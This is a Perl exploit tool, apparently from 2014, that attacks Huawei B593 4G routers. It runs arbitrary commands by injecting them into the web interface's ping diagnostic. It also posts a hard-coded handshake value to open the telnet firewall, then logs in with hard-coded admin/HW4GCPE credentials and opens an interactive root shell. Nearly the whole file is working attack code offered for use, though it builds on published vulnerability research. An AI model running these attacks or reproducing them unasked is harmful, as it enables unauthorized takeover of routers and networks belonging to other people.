#!/usr/bin/perl -wT --

# Copyright (c) 2013-2014 Jari Turkia (jatu@hqcodeshop.fi)

# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.

# Exploit research by Mr. J. Ronkainen
# http://blog.asiantuntijakaveri.fi/2014/08/huapwn-backdoor-on-your-huawei-b593u.html
# http://blog.asiantuntijakaveri.fi/2013/08/gaining-root-shell-on-huawei-b593-4g.html

# Version history:
# 0.2	15th Sep 2014	Renamed to B593_exploit.pl
#                       Added telnet-exploit
# 0.1	19th Nov 2013	Initial version of B593cmd.pl
#

use LWP::UserAgent;;
use HTTP::Cookies;
use Cwd 'abs_path';
use File::Basename;
use MIME::Base64;
use Data::Dumper;
use URI::Escape;
use Net::Telnet;
use Term::ReadLine;
use Getopt::Long;

use strict;
use utf8;


#
# Print some help for user (who is lost)
#
sub Usage(;$)
{
    my ($message) = @_;

    print $message if ($message);
    print <<HTML;
Usage: B593_exploit.pl
--help|-h       This help
--run-cmd       Run a command: pre SP-100 ping-exploit
                to run any command via web-console
--telnet-login  Login via telnet: lift IPtables firewall from telnet and login

HTML
}

#
# Log user in with a password
#
sub LoginWebGui(\$$$)
{
    my ($ua_ref, $host, $pwd) = @_;
    my $POST_url = "http://$host/index/logout.cgi";
    my $encoded_pwd = encode_base64($pwd, '');  # No CR/LF at the end

    # Attempt logout
    my $response = $$ua_ref->post($POST_url);
    return 0 unless $response->is_success;

    # Attempt login
    $POST_url = "http://$host/index/login.cgi";
    my %params = ( 'Username' => 'admin',
                    'Password' => $encoded_pwd
                );
    $response = $$ua_ref->post($POST_url, \%params);
    return 0 unless $response->is_success;

    $$ua_ref->cookie_jar()->extract_cookies($response);	
	return 0 unless exists($$ua_ref->cookie_jar()->{COOKIES}{$host}{'/'}{'SessionID_R3'});

	my $sessionID_ref = $$ua_ref->cookie_jar()->{COOKIES}{$host}{'/'}{'SessionID_R3'};
    warn "Got session id: " . $$sessionID_ref[1] if ($::debug);

	return 1;
}

#
# Do send a command via web-interface Ping-exploit
#
sub DoSendCommand(\$$$)
{
    my ($ua_ref, $host, $cmd) = @_;
	die "Cannot send pipe-char (|) in a command!" if ($cmd =~ /\|/);
	
    my $POST_url = "http://$host/html/management/excutecmd.cgi?cmd=ping|;";
	my $cmd_encoded = $cmd;
	$cmd_encoded =~ s/ /|/g;	# Spaces are pipes
	$POST_url .= uri_escape($cmd_encoded);
	$POST_url .= "&RequestFile=/html/management/diagnose.asp";

    my $response = $$ua_ref->post($POST_url);
    warn "Command status is " . $response->code if ($::debug);
    return 0 unless $response->is_success;

	sleep(1);	# Wait for 1 second for the command to complete.
	my $GET_url = "http://$host/html/management/pingresult.asp";
    $response = $$ua_ref->get($GET_url);
    warn "Request result status is " . $response->code if ($::debug);
    return 0 unless $response->is_success;

	my $cmd_output = $response->content();
    warn "Got response " . $cmd_output if ($::debug > 1);
	if ($cmd_output !~ /"(.*)("|__finshed__)/s) {   # Yep, it's a typo in Huawei's web interface
        warn "Failed to parse response" if ($::debug);
        return "";
    }
    $cmd_output = $1;
	$cmd_output =~ s/\\n" \+ "/\n/g;
	
	# Something went wrong with the command output
	return $cmd_output;
}

#
# Attempt sending a command to ping-exploit
#
sub SendCommand($$$)
{
    my ($B593_host, $admin_password, $cmd_to_run) = @_;

    # Set up User-Agent for doing requests
    die "Weird script path: " . dirname(abs_path($0)) if (dirname(abs_path($0)) !~ m:^([\\/].+)$:);
    my $script_dir = $1;
    my $cookie_jar = HTTP::Cookies->new('file' => "$script_dir/cookies.txt",
                                        'autosave' => 1,		# save on destructor
                                        'ignore_discard' => 1);	# save all cookies, even session ones
    $cookie_jar->set_cookie(0, 'SessionID_R3', '0', '/', $B593_host, 80, 0, 0, 86400, 0);
    $cookie_jar->set_cookie(0, 'FirstMenu', 'Admin_0', '/', $B593_host, 80, 0, 0, 86400, 0);
    $cookie_jar->set_cookie(0, 'SecondMenu', 'Admin_0_0', '/', $B593_host, 80, 0, 0, 86400, 0);
    $cookie_jar->set_cookie(0, 'ThirdMenu', 'Admin_0_0_0', '/', $B593_host, 80, 0, 0, 86400, 0);
    $cookie_jar->set_cookie(0, 'Language', 'en', '/', $B593_host, 80, 0, 0, 86400, 0);

    my $ua = LWP::UserAgent->new;
    $ua->timeout(10);
    $ua->cookie_jar($cookie_jar);

    # Login
    die "Could not login!" if (!LoginWebGui($ua, $B593_host, $admin_password));
    warn "Logged in ok" if ($::debug);

    # Execute a command
    print DoSendCommand($ua, $B593_host, $cmd_to_run);
}

#
# Lift IPtables for telnet and login
#
sub LoginTelnet($)
{
    my ($B593_host) = @_;
    my $user = "admin";
    my $password = "HW4GCPE";   # Yes, for telnet it is hard-coded! :)

    my $timeout = 2;
    my $ua = LWP::UserAgent->new;
    $ua->timeout($timeout);
    my $POST_url = "http://$B593_host/portconfig.cgi";

    # Send command to lift iptables
    my %params = ('switch' => 0,
                    'handshakeFlag' => 'zzfdfwetljioi34004t50jodjgkjgjiyte894uifdug89h98y3hjhgjdgjuihjqq'   # yep, it is hard-coded
                );
    my $attempt_cnt = 0;
    my $telnet = new Net::Telnet(Timeout => $timeout);
    my $telnet_stat = 0;
    my $response;
    
    # Loop until IPtables is lifted and a telnet can be done
    do {
        if (++$attempt_cnt > 3 && $timeout < 5) {
            $timeout = 5;
            $ua->timeout($timeout);
        }
        print "Attempt $attempt_cnt telnetting to $B593_host\n";
        $telnet_stat = $telnet->open(Host =>    $B593_host,
                                    Port =>     23,
                                    Errmode =>  "return",
                                    Timeout =>  $timeout
                            );
        if (!$telnet_stat || $telnet_stat != 1) {
            $response = $ua->post($POST_url, \%params);
            if ($response->is_error && $response->message eq "read timeout") {
                warn "HTTP POST timed out, retrying ..." if ($::debug);
            } elsif ($response->is_error) {
                die "Failed to send handshake-parameter!";
            }
        }
    } while (!$telnet_stat);

    warn "Telnet open!" if ($::debug);

    $telnet->waitfor('/Login: $/');
    $telnet->print($user);
    warn "Sent login" if ($::debug);
    $telnet->waitfor('/Password:/');
    $telnet->print($password);
    warn "Sent password" if ($::debug);
    $telnet->waitfor('/ATP>$/');
    $telnet->print("shell");

    # We're in!
    my @output;
    my $prompt = "# ";
    my $term = Term::ReadLine->new('B593');
    @output = $telnet->waitfor('/' . $prompt . '$/');
    warn "At prompt" if ($::debug);
    my $beautified_line = join("", @output);
    $beautified_line =~ s/^shell.//s;
    $beautified_line =~ s/.# $//s;
    print $beautified_line;
    $telnet->prompt("/$prompt/");
    
    # Loop forever ... or until user presses ctrl-d
    while (defined($_ = $term->readline($prompt))) {
        @output = $telnet->cmd($_);
        print @output;
    }
}

#
# Script begins here
#

# Parse parameters
my $mode_run_cmd = 0;
my $mode_telnet = 0;
my $mode_help = 0;
$::debug = 0;
my $result = GetOptions("run-cmd" => \$mode_run_cmd,        # flag
                        "telnet-login" => \$mode_telnet,    # flag
                        "help|h" => \$mode_help,            # flag
                        "debug+" => \$::debug,              # flag
				);
if ((!$mode_run_cmd && !$mode_telnet) || $mode_help) {
    Usage();
    exit(1);
}

if ($mode_run_cmd) {
    # Attempt to run a command via the leaky ping-interface
    if ($#ARGV < 2) {
        Usage("Need B593 hostname or IP, admin password and a command to execute on remote end!\n");
        exit(1);
    } else {
        SendCommand($ARGV[0], $ARGV[1], $ARGV[2]);
    }
} elsif ($mode_telnet) {
    # Attempt to do a telnet login
    if ($#ARGV < 0) {
        Usage("Need B593 hostname or IP!\n");
        exit(1);
    } else {
        # Regexp from http://stackoverflow.com/questions/9208814/validate-ipv4-ipv6-and-hostname
        die "Weird hostname" if ($ARGV[0] !~ /^((([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$|^(([a-zA-Z]|[a-zA-Z][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z]|[A-Za-z][A-Za-z0-9\-]*[A-Za-z0-9])$|^(?:(?:(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):){6})(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):(?:(?:[0-9a-fA-F]{1,4})))|(?:(?:(?:(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9]))\.){3}(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9])))))))|(?:(?:::(?:(?:(?:[0-9a-fA-F]{1,4})):){5})(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):(?:(?:[0-9a-fA-F]{1,4})))|(?:(?:(?:(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9]))\.){3}(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9])))))))|(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})))?::(?:(?:(?:[0-9a-fA-F]{1,4})):){4})(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):(?:(?:[0-9a-fA-F]{1,4})))|(?:(?:(?:(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9]))\.){3}(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9])))))))|(?:(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):){0,1}(?:(?:[0-9a-fA-F]{1,4})))?::(?:(?:(?:[0-9a-fA-F]{1,4})):){3})(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):(?:(?:[0-9a-fA-F]{1,4})))|(?:(?:(?:(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9]))\.){3}(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9])))))))|(?:(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):){0,2}(?:(?:[0-9a-fA-F]{1,4})))?::(?:(?:(?:[0-9a-fA-F]{1,4})):){2})(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):(?:(?:[0-9a-fA-F]{1,4})))|(?:(?:(?:(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9]))\.){3}(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9])))))))|(?:(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):){0,3}(?:(?:[0-9a-fA-F]{1,4})))?::(?:(?:[0-9a-fA-F]{1,4})):)(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):(?:(?:[0-9a-fA-F]{1,4})))|(?:(?:(?:(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9]))\.){3}(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9])))))))|(?:(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):){0,4}(?:(?:[0-9a-fA-F]{1,4})))?::)(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):(?:(?:[0-9a-fA-F]{1,4})))|(?:(?:(?:(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9]))\.){3}(?:(?:25[0-5]|(?:[1-9]|1[0-9]|2[0-4])?[0-9])))))))|(?:(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):){0,5}(?:(?:[0-9a-fA-F]{1,4})))?::)(?:(?:[0-9a-fA-F]{1,4})))|(?:(?:(?:(?:(?:(?:[0-9a-fA-F]{1,4})):){0,6}(?:(?:[0-9a-fA-F]{1,4})))?::)))))$/);
        LoginTelnet($1);
    }
} else {
    Usage();
}

exit(0);
